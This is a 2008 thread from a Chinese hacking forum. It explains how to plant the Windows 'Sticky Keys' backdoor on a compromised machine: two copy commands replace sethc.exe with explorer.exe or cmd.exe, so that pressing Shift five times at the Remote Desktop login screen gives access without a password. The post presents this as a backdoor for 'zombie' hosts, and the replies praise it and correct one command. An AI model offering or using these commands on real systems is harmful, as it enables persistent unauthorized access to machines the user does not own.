Board logo

标题: 无需输入密码登录3389 [打印本页]

作者: wmmy    时间: 2008-8-25 12:35     标题: 无需输入密码登录3389

在肉鸡上执行命令
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
以后再连接肉鸡3389,敲5下shift键就


据说很老的技术了,作为后门是个不错的思路

原理:
有人发现在登录之前连续按5下shift能够激活 粘滞键,也就是 sethc.exe
那么将这个文件替换掉,就能够执行别的程序

explorer.exe是资源管理器,其实换成CMD的话可能很多人更能够清楚的知道去做什么
作者: 無盡空虛    时间: 2008-8-25 12:57

顶你    ~~~!
作者: enrc    时间: 2008-8-25 14:17

很强!!!;P
作者: saitojie    时间: 2008-8-25 15:06

第二个应该是copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
作者: 柔肠寸断    时间: 2008-8-27 09:29     标题: 回复 4楼 saitojie 的帖子

OK

我把修改了

就是一个后门咯
作者: 无道亦道    时间: 2008-8-27 20:32

很好   很强   学习下~~`
作者: 963852    时间: 2008-9-3 21:32

了解一下,没有试过,还是学习一下才:D :D
作者: ohsky000    时间: 2010-2-15 00:15

不错不错~~~




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2